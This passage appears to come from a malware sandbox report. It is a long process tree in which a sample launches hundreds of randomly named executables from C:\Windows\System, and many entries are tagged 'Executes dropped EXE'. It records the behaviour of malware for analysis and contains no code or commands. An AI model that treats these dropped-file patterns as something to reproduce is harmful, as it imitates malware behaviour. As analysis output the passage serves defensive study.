  - Executes dropped EXE
  PID:3900
- C:\Windows\System\CmdBMEY.exe
  C:\Windows\System\CmdBMEY.exe
  2⤵
  - Executes dropped EXE
  PID:4820
- C:\Windows\System\pFtfpUZ.exe
  C:\Windows\System\pFtfpUZ.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\eqwCJmd.exe
  C:\Windows\System\eqwCJmd.exe
  2⤵
  - Executes dropped EXE
  PID:1664
- C:\Windows\System\XFZgNVR.exe
  C:\Windows\System\XFZgNVR.exe
  2⤵
  - Executes dropped EXE
  PID:5028
- C:\Windows\System\VtpPALi.exe
  C:\Windows\System\VtpPALi.exe
  2⤵
  - Executes dropped EXE
  PID:4516
- C:\Windows\System\zeJflZR.exe
  C:\Windows\System\zeJflZR.exe
  2⤵
  - Executes dropped EXE
  PID:4056
- C:\Windows\System\fpzvqFC.exe
  C:\Windows\System\fpzvqFC.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Windows\System\kHBsCoz.exe
  C:\Windows\System\kHBsCoz.exe
  2⤵
  - Executes dropped EXE
  PID:4576
- C:\Windows\System\pJFSHiz.exe
  C:\Windows\System\pJFSHiz.exe
  2⤵
  - Executes dropped EXE
  PID:3648
- C:\Windows\System\ebZEMFy.exe
  C:\Windows\System\ebZEMFy.exe
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Windows\System\htaFhwc.exe
  C:\Windows\System\htaFhwc.exe
  2⤵
  - Executes dropped EXE
  PID:3660
- C:\Windows\System\ZthMdyj.exe
  C:\Windows\System\ZthMdyj.exe
  2⤵
  - Executes dropped EXE
  PID:1088
- C:\Windows\System\USkdhQz.exe
  C:\Windows\System\USkdhQz.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\DYSNzDa.exe
  C:\Windows\System\DYSNzDa.exe
  2⤵
  - Executes dropped EXE
  PID:4132
- C:\Windows\System\tcQtSNU.exe
  C:\Windows\System\tcQtSNU.exe
  2⤵
  - Executes dropped EXE
  PID:4944
- C:\Windows\System\tKlHHOl.exe
  C:\Windows\System\tKlHHOl.exe
  2⤵
  - Executes dropped EXE
  PID:1036
- C:\Windows\System\WHZYgNR.exe
  C:\Windows\System\WHZYgNR.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\HsEPIuD.exe
  C:\Windows\System\HsEPIuD.exe
  2⤵
  - Executes dropped EXE
  PID:3964
- C:\Windows\System\ErERTCj.exe
  C:\Windows\System\ErERTCj.exe
  2⤵
  - Executes dropped EXE
  PID:4720
- C:\Windows\System\WUrNNZB.exe
  C:\Windows\System\WUrNNZB.exe
  2⤵
  - Executes dropped EXE
  PID:1752
- C:\Windows\System\OTmFEIA.exe
  C:\Windows\System\OTmFEIA.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\System\iIbBxuE.exe
  C:\Windows\System\iIbBxuE.exe
  2⤵
  - Executes dropped EXE
  PID:3280
- C:\Windows\System\Apztall.exe
  C:\Windows\System\Apztall.exe
  2⤵
  - Executes dropped EXE
  PID:2152
- C:\Windows\System\GyxIRGv.exe
  C:\Windows\System\GyxIRGv.exe
  2⤵
  - Executes dropped EXE
  PID:5032
- C:\Windows\System\tGaOyyV.exe
  C:\Windows\System\tGaOyyV.exe
  2⤵
  - Executes dropped EXE
  PID:4008
- C:\Windows\System\ZkhbmAh.exe
  C:\Windows\System\ZkhbmAh.exe
  2⤵
  - Executes dropped EXE
  PID:2208
- C:\Windows\System\BDGBGAC.exe
  C:\Windows\System\BDGBGAC.exe
  2⤵
  - Executes dropped EXE
  PID:5036
- C:\Windows\System\FBqNZQJ.exe
  C:\Windows\System\FBqNZQJ.exe
  2⤵
  - Executes dropped EXE
  PID:4392
- C:\Windows\System\dCjcmFJ.exe
  C:\Windows\System\dCjcmFJ.exe
  2⤵
  - Executes dropped EXE
  PID:1304
- C:\Windows\System\NxYMxjy.exe
  C:\Windows\System\NxYMxjy.exe
  2⤵
  - Executes dropped EXE
  PID:2796
- C:\Windows\System\EYCuRgm.exe
  C:\Windows\System\EYCuRgm.exe
  2⤵
  - Executes dropped EXE
  PID:540
- C:\Windows\System\VcQDleo.exe
  C:\Windows\System\VcQDleo.exe
  2⤵
  - Executes dropped EXE
  PID:4808
- C:\Windows\System\JRpXhul.exe
  C:\Windows\System\JRpXhul.exe
  2⤵
  - Executes dropped EXE
  PID:3548
- C:\Windows\System\VFXfdyH.exe
  C:\Windows\System\VFXfdyH.exe
  2⤵
  - Executes dropped EXE
  PID:2468
- C:\Windows\System\mwNQMBY.exe
  C:\Windows\System\mwNQMBY.exe
  2⤵
  - Executes dropped EXE
  PID:3604
- C:\Windows\System\NjkWytq.exe
  C:\Windows\System\NjkWytq.exe
  2⤵
  - Executes dropped EXE
  PID:4296
- C:\Windows\System\tlkvkzX.exe
  C:\Windows\System\tlkvkzX.exe
  2⤵
  - Executes dropped EXE
  PID:4608
- C:\Windows\System\VLMcsBL.exe
  C:\Windows\System\VLMcsBL.exe
  2⤵
  - Executes dropped EXE
  PID:4952
- C:\Windows\System\odnRDOH.exe
  C:\Windows\System\odnRDOH.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\pnWtuTH.exe
  C:\Windows\System\pnWtuTH.exe
  2⤵
  - Executes dropped EXE
  PID:4308
- C:\Windows\System\KtJseeN.exe
  C:\Windows\System\KtJseeN.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\nQZAFOv.exe
  C:\Windows\System\nQZAFOv.exe
  2⤵
  - Executes dropped EXE
  PID:4420
- C:\Windows\System\yHRoubz.exe
  C:\Windows\System\yHRoubz.exe
  2⤵
  - Executes dropped EXE
  PID:4992
- C:\Windows\System\bPutsbD.exe
  C:\Windows\System\bPutsbD.exe
  2⤵
  - Executes dropped EXE
  PID:3664
- C:\Windows\System\WWObFzl.exe
  C:\Windows\System\WWObFzl.exe
  2⤵
  - Executes dropped EXE
  PID:5124
- C:\Windows\System\MAfObJQ.exe
  C:\Windows\System\MAfObJQ.exe
  2⤵
  - Executes dropped EXE
  PID:5160
- C:\Windows\System\JSpxFVf.exe
  C:\Windows\System\JSpxFVf.exe
  2⤵
  - Executes dropped EXE
  PID:5192
- C:\Windows\System\hGXEQPJ.exe
  C:\Windows\System\hGXEQPJ.exe
  2⤵
  - Executes dropped EXE
  PID:5224
- C:\Windows\System\GwEVypb.exe
  C:\Windows\System\GwEVypb.exe
  2⤵
  - Executes dropped EXE
  PID:5244
- C:\Windows\System\xxVByzz.exe
  C:\Windows\System\xxVByzz.exe
  2⤵
  - Executes dropped EXE
  PID:5272
- C:\Windows\System\yDiWCGL.exe
  C:\Windows\System\yDiWCGL.exe
  2⤵
  - Executes dropped EXE
  PID:5296
- C:\Windows\System\RyLahzd.exe
  C:\Windows\System\RyLahzd.exe
  2⤵
  - Executes dropped EXE
  PID:5324
- C:\Windows\System\VJwgqIg.exe
  C:\Windows\System\VJwgqIg.exe
  2⤵
  - Executes dropped EXE
  PID:5352
- C:\Windows\System\rfFXLaV.exe
  C:\Windows\System\rfFXLaV.exe
  2⤵
  - Executes dropped EXE
  PID:5380
- C:\Windows\System\Vrgwmvd.exe
  C:\Windows\System\Vrgwmvd.exe
  2⤵
  - Executes dropped EXE
  PID:5408
- C:\Windows\System\IcyRBAs.exe
  C:\Windows\System\IcyRBAs.exe
  2⤵
  - Executes dropped EXE
  PID:5436
- C:\Windows\System\IAVHmvo.exe
  C:\Windows\System\IAVHmvo.exe
  2⤵
  - Executes dropped EXE
  PID:5464
- C:\Windows\System\XQTHnWf.exe
  C:\Windows\System\XQTHnWf.exe
  2⤵
  - Executes dropped EXE
  PID:5492
- C:\Windows\System\Ploqfol.exe
  C:\Windows\System\Ploqfol.exe
  2⤵
  - Executes dropped EXE
  PID:5520
- C:\Windows\System\KrzzzvP.exe
  C:\Windows\System\KrzzzvP.exe
  2⤵
  PID:5548
- C:\Windows\System\BZmHDhu.exe
  C:\Windows\System\BZmHDhu.exe
  2⤵
  PID:5576
- C:\Windows\System\jesBxgN.exe
  C:\Windows\System\jesBxgN.exe
  2⤵
  PID:5604
- C:\Windows\System\BlGGVpZ.exe
  C:\Windows\System\BlGGVpZ.exe
  2⤵
  PID:5632
- C:\Windows\System\CUXrfZR.exe
  C:\Windows\System\CUXrfZR.exe
  2⤵
  PID:5660
- C:\Windows\System\QnnxKwc.exe
  C:\Windows\System\QnnxKwc.exe
  2⤵
  PID:5688
- C:\Windows\System\hrRFHSq.exe
  C:\Windows\System\hrRFHSq.exe
  2⤵
  PID:5712
- C:\Windows\System\clGkWns.exe
  C:\Windows\System\clGkWns.exe
  2⤵
  PID:5744
- C:\Windows\System\mGiwbSl.exe
  C:\Windows\System\mGiwbSl.exe
  2⤵
  PID:5772
- C:\Windows\System\YGycGYg.exe
  C:\Windows\System\YGycGYg.exe
  2⤵
  PID:5800
- C:\Windows\System\oGYJMnj.exe
  C:\Windows\System\oGYJMnj.exe
  2⤵
  PID:5828
- C:\Windows\System\zmdvMsx.exe
  C:\Windows\System\zmdvMsx.exe
  2⤵
  PID:5856
- C:\Windows\System\wrELwZy.exe
  C:\Windows\System\wrELwZy.exe
  2⤵
  PID:5884
- C:\Windows\System\oFMrtYg.exe
  C:\Windows\System\oFMrtYg.exe
  2⤵
  PID:5912
- C:\Windows\System\vnZzZco.exe
  C:\Windows\System\vnZzZco.exe
  2⤵
  PID:5940
- C:\Windows\System\GyFmpeq.exe
  C:\Windows\System\GyFmpeq.exe
  2⤵
  PID:5968
- C:\Windows\System\nRgZFBL.exe
  C:\Windows\System\nRgZFBL.exe
  2⤵
  PID:5996
- C:\Windows\System\FgXPwNh.exe
  C:\Windows\System\FgXPwNh.exe
  2⤵
  PID:6024
- C:\Windows\System\llPBupn.exe
  C:\Windows\System\llPBupn.exe
  2⤵
  PID:6048
- C:\Windows\System\jZeDYmA.exe
  C:\Windows\System\jZeDYmA.exe
  2⤵
  PID:6076
- C:\Windows\System\xDMTbht.exe
  C:\Windows\System\xDMTbht.exe
  2⤵
  PID:6104
- C:\Windows\System\UTvhaqz.exe
  C:\Windows\System\UTvhaqz.exe
  2⤵
  PID:6132
- C:\Windows\System\diZUalY.exe
  C:\Windows\System\diZUalY.exe
  2⤵
  PID:4012
- C:\Windows\System\SGkVmFP.exe
  C:\Windows\System\SGkVmFP.exe
  2⤵
  PID:780
- C:\Windows\System\vqsLroA.exe
  C:\Windows\System\vqsLroA.exe
  2⤵
  PID:4956
- C:\Windows\System\uOqkpTD.exe
  C:\Windows\System\uOqkpTD.exe
  2⤵
  PID:212
- C:\Windows\System\UJlODPA.exe
  C:\Windows\System\UJlODPA.exe
  2⤵
  PID:5136
- C:\Windows\System\PeNMpme.exe
  C:\Windows\System\PeNMpme.exe
  2⤵
  PID:5204
- C:\Windows\System\jPDJBbu.exe
  C:\Windows\System\jPDJBbu.exe
  2⤵
  PID:5264
- C:\Windows\System\LMxOpSy.exe
  C:\Windows\System\LMxOpSy.exe
  2⤵
  PID:5336
- C:\Windows\System\HoEgqgh.exe
  C:\Windows\System\HoEgqgh.exe
  2⤵
  PID:5396
- C:\Windows\System\ahibfWm.exe
  C:\Windows\System\ahibfWm.exe
  2⤵
  PID:5456
- C:\Windows\System\LIbyzux.exe
  C:\Windows\System\LIbyzux.exe
  2⤵
  PID:5532
- C:\Windows\System\IfurZtO.exe
  C:\Windows\System\IfurZtO.exe
  2⤵
  PID:5592
- C:\Windows\System\HTKzeGf.exe
  C:\Windows\System\HTKzeGf.exe
  2⤵
  PID:5652
- C:\Windows\System\DosmfeY.exe
  C:\Windows\System\DosmfeY.exe
  2⤵
  PID:5728
- C:\Windows\System\BCyqszK.exe
  C:\Windows\System\BCyqszK.exe
  2⤵
  PID:5788
- C:\Windows\System\XHwrVmH.exe
  C:\Windows\System\XHwrVmH.exe
  2⤵
  PID:5848
- C:\Windows\System\kXekudJ.exe
  C:\Windows\System\kXekudJ.exe
  2⤵
  PID:5924
- C:\Windows\System\SnuwAjS.exe
  C:\Windows\System\SnuwAjS.exe
  2⤵
  PID:5984
- C:\Windows\System\vRwADYn.exe
  C:\Windows\System\vRwADYn.exe
  2⤵
  PID:6044
- C:\Windows\System\TMdHGKp.exe
  C:\Windows\System\TMdHGKp.exe
  2⤵
  PID:6100
- C:\Windows\System\FTDSslu.exe
  C:\Windows\System\FTDSslu.exe
  2⤵
  PID:3440
- C:\Windows\System\auEIcuG.exe
  C:\Windows\System\auEIcuG.exe
  2⤵
  PID:3464
- C:\Windows\System\rvMPrvx.exe
  C:\Windows\System\rvMPrvx.exe
  2⤵
  PID:5232
- C:\Windows\System\TBagQKy.exe
  C:\Windows\System\TBagQKy.exe
  2⤵
  PID:5368
- C:\Windows\System\UPNtTtk.exe
  C:\Windows\System\UPNtTtk.exe
  2⤵
  PID:5508
- C:\Windows\System\OiAVTjh.exe
  C:\Windows\System\OiAVTjh.exe
  2⤵
  PID:5644
- C:\Windows\System\ZdujuRl.exe
  C:\Windows\System\ZdujuRl.exe
  2⤵
  PID:5820
- C:\Windows\System\oYgfqcC.exe
  C:\Windows\System\oYgfqcC.exe
  2⤵
  PID:6172
- C:\Windows\System\HIaMowM.exe
  C:\Windows\System\HIaMowM.exe
  2⤵
  PID:6200
- C:\Windows\System\XJQRVVZ.exe
  C:\Windows\System\XJQRVVZ.exe
  2⤵
  PID:6228
- C:\Windows\System\MIvgpUO.exe
  C:\Windows\System\MIvgpUO.exe
  2⤵
  PID:6252
- C:\Windows\System\hLCDGgj.exe
  C:\Windows\System\hLCDGgj.exe
  2⤵
  PID:6280
- C:\Windows\System\HMRQTwr.exe
  C:\Windows\System\HMRQTwr.exe
  2⤵
  PID:6308
- C:\Windows\System\NeIAMsf.exe
  C:\Windows\System\NeIAMsf.exe
  2⤵
  PID:6340
- C:\Windows\System\RAAPXcI.exe
  C:\Windows\System\RAAPXcI.exe
  2⤵
  PID:6368
- C:\Windows\System\kNvYHtQ.exe
  C:\Windows\System\kNvYHtQ.exe
  2⤵
  PID:6392
- C:\Windows\System\wdvvOdG.exe
  C:\Windows\System\wdvvOdG.exe
  2⤵
  PID:6424
- C:\Windows\System\ehZOFZC.exe
  C:\Windows\System\ehZOFZC.exe
  2⤵
  PID:6452
- C:\Windows\System\mgyMYSa.exe
  C:\Windows\System\mgyMYSa.exe
  2⤵
  PID:6480
- C:\Windows\System\QKfBZks.exe
  C:\Windows\System\QKfBZks.exe
  2⤵
  PID:6504
- C:\Windows\System\Sjvpxat.exe
  C:\Windows\System\Sjvpxat.exe
  2⤵
  PID:6532
- C:\Windows\System\ufIsAgz.exe
  C:\Windows\System\ufIsAgz.exe
  2⤵
  PID:6564
- C:\Windows\System\MUVpCEx.exe
  C:\Windows\System\MUVpCEx.exe
  2⤵
  PID:6592
- C:\Windows\System\yJozttN.exe
  C:\Windows\System\yJozttN.exe
  2⤵
  PID:6620
- C:\Windows\System\qrpaYIp.exe
  C:\Windows\System\qrpaYIp.exe
  2⤵
  PID:6648
- C:\Windows\System\FfxDBSF.exe
  C:\Windows\System\FfxDBSF.exe
  2⤵
  PID:6680
- C:\Windows\System\GrBliMY.exe
  C:\Windows\System\GrBliMY.exe
  2⤵
  PID:6708
- C:\Windows\System\uoUBjDU.exe
  C:\Windows\System\uoUBjDU.exe
  2⤵
  PID:6736
- C:\Windows\System\axQxnrw.exe
  C:\Windows\System\axQxnrw.exe
  2⤵
  PID:6764
- C:\Windows\System\lONOxha.exe
  C:\Windows\System\lONOxha.exe
  2⤵
  PID:6788
- C:\Windows\System\uApxkmy.exe
  C:\Windows\System\uApxkmy.exe
  2⤵
  PID:6820
- C:\Windows\System\CWOIJFU.exe
  C:\Windows\System\CWOIJFU.exe
  2⤵
  PID:6848
- C:\Windows\System\YPrroiL.exe
  C:\Windows\System\YPrroiL.exe
  2⤵
  PID:6876
- C:\Windows\System\ZnJBmKT.exe
  C:\Windows\System\ZnJBmKT.exe
  2⤵
  PID:6904
- C:\Windows\System\wykvrao.exe
  C:\Windows\System\wykvrao.exe
  2⤵
  PID:6932
- C:\Windows\System\oeFDrEi.exe
  C:\Windows\System\oeFDrEi.exe
  2⤵
  PID:6960
- C:\Windows\System\VwaNuSH.exe
  C:\Windows\System\VwaNuSH.exe
  2⤵
  PID:6988
- C:\Windows\System\HLcLiRZ.exe
  C:\Windows\System\HLcLiRZ.exe
  2⤵
  PID:7016
- C:\Windows\System\ujJEYuP.exe
  C:\Windows\System\ujJEYuP.exe
  2⤵
  PID:7044
- C:\Windows\System\BKzekel.exe
  C:\Windows\System\BKzekel.exe
  2⤵
  PID:7072
- C:\Windows\System\GdgmGxy.exe
  C:\Windows\System\GdgmGxy.exe
  2⤵
  PID:7100
- C:\Windows\System\iyKkGmp.exe
  C:\Windows\System\iyKkGmp.exe
  2⤵
  PID:7132
- C:\Windows\System\jaIzosv.exe
  C:\Windows\System\jaIzosv.exe
  2⤵
  PID:7156
- C:\Windows\System\VZqzmpp.exe
  C:\Windows\System\VZqzmpp.exe
  2⤵
  PID:5952
- C:\Windows\System\VaQScEB.exe
  C:\Windows\System\VaQScEB.exe
  2⤵
  PID:6092
- C:\Windows\System\nMVUfgS.exe
  C:\Windows\System\nMVUfgS.exe
  2⤵
  PID:4036
- C:\Windows\System\uNMGhug.exe
  C:\Windows\System\uNMGhug.exe
  2⤵
  PID:5428
- C:\Windows\System\VvxnnXs.exe
  C:\Windows\System\VvxnnXs.exe
  2⤵
  PID:5760
- C:\Windows\System\plHeKcB.exe
  C:\Windows\System\plHeKcB.exe
  2⤵
  PID:6192
- C:\Windows\System\Khdpzts.exe
  C:\Windows\System\Khdpzts.exe
  2⤵
  PID:6248
- C:\Windows\System\HeoaGys.exe
  C:\Windows\System\HeoaGys.exe
  2⤵
  PID:6328
- C:\Windows\System\hqKALwO.exe
  C:\Windows\System\hqKALwO.exe
  2⤵
  PID:6388
- C:\Windows\System\GxJjqXO.exe
  C:\Windows\System\GxJjqXO.exe
  2⤵
  PID:6464
- C:\Windows\System\NgmRKJB.exe
  C:\Windows\System\NgmRKJB.exe
  2⤵
  PID:6520
- C:\Windows\System\NfWMAmZ.exe
  C:\Windows\System\NfWMAmZ.exe
  2⤵
  PID:6580
- C:\Windows\System\ejKxhNt.exe
  C:\Windows\System\ejKxhNt.exe
  2⤵
  PID:6640
- C:\Windows\System\Xfxpomj.exe
  C:\Windows\System\Xfxpomj.exe
  2⤵
  PID:6700
- C:\Windows\System\fuYQFmH.exe
  C:\Windows\System\fuYQFmH.exe
  2⤵
  PID:6776
- C:\Windows\System\IjhxlxB.exe
  C:\Windows\System\IjhxlxB.exe
  2⤵
  PID:6836
- C:\Windows\System\ObhAfjl.exe
  C:\Windows\System\ObhAfjl.exe
  2⤵
  PID:6896
- C:\Windows\System\MJfemPb.exe
  C:\Windows\System\MJfemPb.exe
  2⤵
  PID:6972
- C:\Windows\System\dAvXhZP.exe
  C:\Windows\System\dAvXhZP.exe
  2⤵
  PID:7028
- C:\Windows\System\qfeoERw.exe
  C:\Windows\System\qfeoERw.exe
  2⤵
  PID:7088
- C:\Windows\System\VlNnOhi.exe
  C:\Windows\System\VlNnOhi.exe
  2⤵
  PID:7152
- C:\Windows\System\xWegoqX.exe
  C:\Windows\System\xWegoqX.exe
  2⤵
  PID:4676
- C:\Windows\System\OHTtBlQ.exe
  C:\Windows\System\OHTtBlQ.exe
  2⤵
  PID:5568
- C:\Windows\System\oVankNl.exe
  C:\Windows\System\oVankNl.exe
  2⤵
  PID:6220
- C:\Windows\System\WzGGtLA.exe
  C:\Windows\System\WzGGtLA.exe
  2⤵
  PID:6360
- C:\Windows\System\bqQHJWF.exe
  C:\Windows\System\bqQHJWF.exe
  2⤵
  PID:6500
- C:\Windows\System\uQPScQB.exe
  C:\Windows\System\uQPScQB.exe
  2⤵
  PID:6668
- C:\Windows\System\FBgHPOA.exe
  C:\Windows\System\FBgHPOA.exe
  2⤵
  PID:6808
- C:\Windows\System\upJoptJ.exe
  C:\Windows\System\upJoptJ.exe
  2⤵
  PID:6924
- C:\Windows\System\GXxuqvO.exe
  C:\Windows\System\GXxuqvO.exe
  2⤵
  PID:7060
- C:\Windows\System\DgFqkMD.exe
  C:\Windows\System\DgFqkMD.exe
  2⤵
  PID:6016
- C:\Windows\System\iojAuut.exe
  C:\Windows\System\iojAuut.exe
  2⤵
  PID:7196
- C:\Windows\System\mPPasXq.exe
  C:\Windows\System\mPPasXq.exe
  2⤵
  PID:7224
- C:\Windows\System\RvCGUkw.exe
  C:\Windows\System\RvCGUkw.exe
  2⤵
  PID:7252
- C:\Windows\System\kLfeUoM.exe
  C:\Windows\System\kLfeUoM.exe
  2⤵
  PID:7284
- C:\Windows\System\mkyRYOE.exe
  C:\Windows\System\mkyRYOE.exe
  2⤵
  PID:7308
- C:\Windows\System\vIDnSLi.exe
  C:\Windows\System\vIDnSLi.exe
  2⤵
  PID:7336
- C:\Windows\System\hmxsVQt.exe
  C:\Windows\System\hmxsVQt.exe
  2⤵
  PID:7364
- C:\Windows\System\scdNWuw.exe
  C:\Windows\System\scdNWuw.exe
  2⤵
  PID:7392
- C:\Windows\System\IrCzoMX.exe
  C:\Windows\System\IrCzoMX.exe
  2⤵
  PID:7416
- C:\Windows\System\xIXyznB.exe
  C:\Windows\System\xIXyznB.exe
  2⤵
  PID:7444
- C:\Windows\System\KrNhnDY.exe
  C:\Windows\System\KrNhnDY.exe
  2⤵
  PID:7476
- C:\Windows\System\tYwurtr.exe
  C:\Windows\System\tYwurtr.exe
  2⤵
  PID:7504
- C:\Windows\System\PyZQMgn.exe
  C:\Windows\System\PyZQMgn.exe
  2⤵
  PID:7532
- C:\Windows\System\ZBqkXJb.exe
  C:\Windows\System\ZBqkXJb.exe
  2⤵
  PID:7556
- C:\Windows\System\gfmqRBw.exe
  C:\Windows\System\gfmqRBw.exe
  2⤵
  PID:7584
- C:\Windows\System\RTOWcOe.exe
  C:\Windows\System\RTOWcOe.exe
  2⤵
  PID:7616
- C:\Windows\System\kpAgTIB.exe
  C:\Windows\System\kpAgTIB.exe
  2⤵
  PID:7644
- C:\Windows\System\CZOQXII.exe
  C:\Windows\System\CZOQXII.exe
  2⤵
  PID:7672
- C:\Windows\System\ZgEnfea.exe
  C:\Windows\System\ZgEnfea.exe
  2⤵
  PID:7700
- C:\Windows\System\JXEfpLy.exe
  C:\Windows\System\JXEfpLy.exe
  2⤵
  PID:7728
- C:\Windows\System\PCisYVr.exe
  C:\Windows\System\PCisYVr.exe
  2⤵
  PID:7756
- C:\Windows\System\XkKglXx.exe
  C:\Windows\System\XkKglXx.exe
  2⤵
  PID:7784
- C:\Windows\System\ooikVeS.exe
  C:\Windows\System\ooikVeS.exe
  2⤵
  PID:7812
- C:\Windows\System\XVfFCGa.exe
  C:\Windows\System\XVfFCGa.exe
  2⤵
  PID:7840
- C:\Windows\System\LcQJbQz.exe
  C:\Windows\System\LcQJbQz.exe
  2⤵
  PID:7868
- C:\Windows\System\RPTnfrg.exe
  C:\Windows\System\RPTnfrg.exe
  2⤵
  PID:7896
- C:\Windows\System\TGGclHh.exe
  C:\Windows\System\TGGclHh.exe
  2⤵
  PID:7924
- C:\Windows\System\WWjDMgS.exe
  C:\Windows\System\WWjDMgS.exe
  2⤵
  PID:7952
- C:\Windows\System\moIlOmz.exe
  C:\Windows\System\moIlOmz.exe
  2⤵
  PID:7980
- C:\Windows\System\ACnchzL.exe
  C:\Windows\System\ACnchzL.exe
  2⤵
  PID:8008
- C:\Windows\System\qftpmoU.exe
  C:\Windows\System\qftpmoU.exe
  2⤵
  PID:8036
- C:\Windows\System\qYlmPsJ.exe
  C:\Windows\System\qYlmPsJ.exe
  2⤵
  PID:8064
- C:\Windows\System\ZTnCONv.exe
  C:\Windows\System\ZTnCONv.exe
  2⤵
  PID:8092
- C:\Windows\System\aqkHKbn.exe
  C:\Windows\System\aqkHKbn.exe
  2⤵
  PID:8120
- C:\Windows\System\mJhaARC.exe
  C:\Windows\System\mJhaARC.exe
  2⤵
  PID:8148
- C:\Windows\System\jFGURsG.exe
  C:\Windows\System\jFGURsG.exe
  2⤵
  PID:8176
- C:\Windows\System\WJevOSs.exe
  C:\Windows\System\WJevOSs.exe
  2⤵
  PID:6160
- C:\Windows\System\vfJqyHP.exe
  C:\Windows\System\vfJqyHP.exe
  2⤵
  PID:6492
- C:\Windows\System\ZTdbbFR.exe
  C:\Windows\System\ZTdbbFR.exe
  2⤵
  PID:6748
- C:\Windows\System\zgMzNjS.exe
  C:\Windows\System\zgMzNjS.exe
  2⤵
  PID:7008
- C:\Windows\System\RdSTVdw.exe
  C:\Windows\System\RdSTVdw.exe
  2⤵
  PID:7208
- C:\Windows\System\dpCvdFD.exe
  C:\Windows\System\dpCvdFD.exe
  2⤵
  PID:7268
- C:\Windows\System\WDwPNkX.exe
  C:\Windows\System\WDwPNkX.exe
  2⤵
  PID:7320
- C:\Windows\System\HLeCBty.exe
  C:\Windows\System\HLeCBty.exe
  2⤵
  PID:7380
- C:\Windows\System\ZTuEMpt.exe
  C:\Windows\System\ZTuEMpt.exe
  2⤵
  PID:7436
- C:\Windows\System\LiSnrmJ.exe
  C:\Windows\System\LiSnrmJ.exe
  2⤵
  PID:7488
- C:\Windows\System\TSgTfrZ.exe
  C:\Windows\System\TSgTfrZ.exe
  2⤵
  PID:7524
- C:\Windows\System\kzKASJt.exe
  C:\Windows\System\kzKASJt.exe
  2⤵
  PID:7772
- C:\Windows\System\jqfbSzD.exe
  C:\Windows\System\jqfbSzD.exe
  2⤵
  PID:7800
- C:\Windows\System\LjZoVEL.exe
  C:\Windows\System\LjZoVEL.exe
  2⤵
  PID:7832
- C:\Windows\System\BgmvhQd.exe
  C:\Windows\System\BgmvhQd.exe
  2⤵
  PID:7880
- C:\Windows\System\vjfCDYK.exe
  C:\Windows\System\vjfCDYK.exe
  2⤵
  PID:7912
- C:\Windows\System\OaWaLZY.exe
  C:\Windows\System\OaWaLZY.exe
  2⤵
  PID:7944
- C:\Windows\System\tUWnqVN.exe
  C:\Windows\System\tUWnqVN.exe
  2⤵
  PID:7972
- C:\Windows\System\MQScKMj.exe
  C:\Windows\System\MQScKMj.exe
  2⤵
  PID:8060
- C:\Windows\System\bdkwFeP.exe
  C:\Windows\System\bdkwFeP.exe
  2⤵
  PID:8108
- C:\Windows\System\ZmcwbTc.exe
  C:\Windows\System\ZmcwbTc.exe
  2⤵
  PID:8136
- C:\Windows\System\OcYORcO.exe
  C:\Windows\System\OcYORcO.exe
  2⤵
  PID:2424
- C:\Windows\System\WStnCuh.exe
  C:\Windows\System\WStnCuh.exe
  2⤵
  PID:3192
- C:\Windows\System\OwOKfqg.exe
  C:\Windows\System\OwOKfqg.exe
  2⤵
  PID:924
- C:\Windows\System\KlYFuNq.exe
  C:\Windows\System\KlYFuNq.exe
  2⤵
  PID:7412
- C:\Windows\System\PgjfJUH.exe
  C:\Windows\System\PgjfJUH.exe
  2⤵
  PID:3696
- C:\Windows\System\jlTQizr.exe
  C:\Windows\System\jlTQizr.exe
  2⤵
  PID:7600
- C:\Windows\System\boVFXCO.exe
  C:\Windows\System\boVFXCO.exe
  2⤵
  PID:3484
- C:\Windows\System\HTGDtku.exe
  C:\Windows\System\HTGDtku.exe
  2⤵
  PID:7608
- C:\Windows\System\gfyXpQn.exe
  C:\Windows\System\gfyXpQn.exe
  2⤵
  PID:7856
- C:\Windows\System\ksWswjl.exe
  C:\Windows\System\ksWswjl.exe
  2⤵
  PID:1952
- C:\Windows\System\dbCDMgU.exe
  C:\Windows\System\dbCDMgU.exe
  2⤵
  PID:7968
- C:\Windows\System\UUnJJoc.exe
  C:\Windows\System\UUnJJoc.exe
  2⤵
  PID:2852
- C:\Windows\System\chKlWtj.exe
  C:\Windows\System\chKlWtj.exe
  2⤵
  PID:8048
- C:\Windows\System\ZdzzSYC.exe
  C:\Windows\System\ZdzzSYC.exe
  2⤵
  PID:3252
- C:\Windows\System\MPeOnpO.exe
  C:\Windows\System\MPeOnpO.exe
  2⤵
  PID:3940
- C:\Windows\System\kgWyFTK.exe
  C:\Windows\System\kgWyFTK.exe
  2⤵
  PID:7660
- C:\Windows\System\rfuUUdy.exe
  C:\Windows\System\rfuUUdy.exe
  2⤵
  PID:8024
- C:\Windows\System\qHqCnAn.exe
  C:\Windows\System\qHqCnAn.exe
  2⤵
  PID:3120
- C:\Windows\System\fQUPPfR.exe
  C:\Windows\System\fQUPPfR.exe
  2⤵
  PID:3572
- C:\Windows\System\fciNKal.exe
  C:\Windows\System\fciNKal.exe
  2⤵
  PID:8132
- C:\Windows\System\kfzDEDb.exe
  C:\Windows\System\kfzDEDb.exe
  2⤵
  PID:4140
- C:\Windows\System\hZrxaqp.exe
  C:\Windows\System\hZrxaqp.exe
  2⤵
  PID:5004
- C:\Windows\System\nbpWWkS.exe
  C:\Windows\System\nbpWWkS.exe
  2⤵
  PID:7888
- C:\Windows\System\CunyFFQ.exe
  C:\Windows\System\CunyFFQ.exe
  2⤵
  PID:3792
- C:\Windows\System\nAGIeQU.exe
  C:\Windows\System\nAGIeQU.exe
  2⤵
  PID:3124
- C:\Windows\System\RXSeKRM.exe
  C:\Windows\System\RXSeKRM.exe
  2⤵
  PID:4336
- C:\Windows\System\hxmYVDU.exe
  C:\Windows\System\hxmYVDU.exe
  2⤵
  PID:1816
- C:\Windows\System\uZpRDSc.exe
  C:\Windows\System\uZpRDSc.exe
  2⤵
  PID:8200
- C:\Windows\System\LRjYOBh.exe
  C:\Windows\System\LRjYOBh.exe
  2⤵
  PID:8228
- C:\Windows\System\efZtTKm.exe
  C:\Windows\System\efZtTKm.exe
  2⤵
  PID:8244
- C:\Windows\System\HIbKqxV.exe
